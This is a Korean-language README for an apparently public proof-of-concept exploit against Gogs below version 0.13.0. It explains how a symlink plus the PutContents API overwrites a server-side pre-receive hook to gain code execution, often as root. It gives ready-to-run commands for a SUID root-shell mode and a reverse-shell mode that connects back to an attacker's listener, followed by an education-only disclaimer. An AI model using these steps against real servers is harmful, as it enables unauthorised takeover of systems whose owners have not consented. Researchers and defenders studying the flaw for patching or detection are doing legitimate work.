CVE-2025-81110-PoC

Gogs의 PutContents API에서 부적절한 심볼릭 링크 처리로 인해 로컬 코드 실행이 가능합니다.

이 저장소는 Gogs 0.13.0 미만 버전의 치명적인 취약점에 대한 전문가 수준의 익스플로잇을 포함합니다. 익스플로잇은 Gogs API가 저장소 콘텐츠를 업데이트할 때 파일 유형을 검증하지 못하는 논리적 결함을 이용합니다. 서버 측 Git 훅(pre-receive)을 가리키는 심볼릭 링크를 주입하면 인증된 사용자가 악성 스크립트로 훅의 콘텐츠를 덮어쓸 수 있습니다. 이후 Git 푸시 작업이 Gogs 서비스를 실행하는 사용자(일반적으로 root)의 컨텍스트에서 이 스크립트를 실행하게 됩니다.

심볼릭 링크 주입: 공격자는 내부 저장소 훅(예: /root/gogs-repositories//.git/hooks/pre-receive)을 가리키는 심볼릭 링크를 푸시합니다.

API 덮어쓰기: Gogs API는 심볼릭 링크의 콘텐츠 업데이트를 허용합니다. 쓰기 작업 중 OS가 링크를 따라가므로 내부 Git 훅이 덮어써집니다.

RCE / 권한 상승: 후속 Git 푸시가 pre-receive 훅을 트리거합니다. Gogs가 RUN_USER = root로 구성된 경우, 공격자는 전체 시스템 제어 권한을 얻습니다.

요구 사항

• Python 3.x
• requests 라이브러리
• 공격자 시스템에 설치된 git 명령줄 도구

사용법

SUID 모드

python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid

완료 후, 대상에서 root 액세스 권한 획득:

/tmp/rootbash -p

리버스 셸

python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444

인자 참조

면책 조항

이 도구는 교육 목적 및 공인된 보안 감사 전용입니다. 저자는 귀하가 소유하거나 명시적 테스트 권한이 있는 시스템에서 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.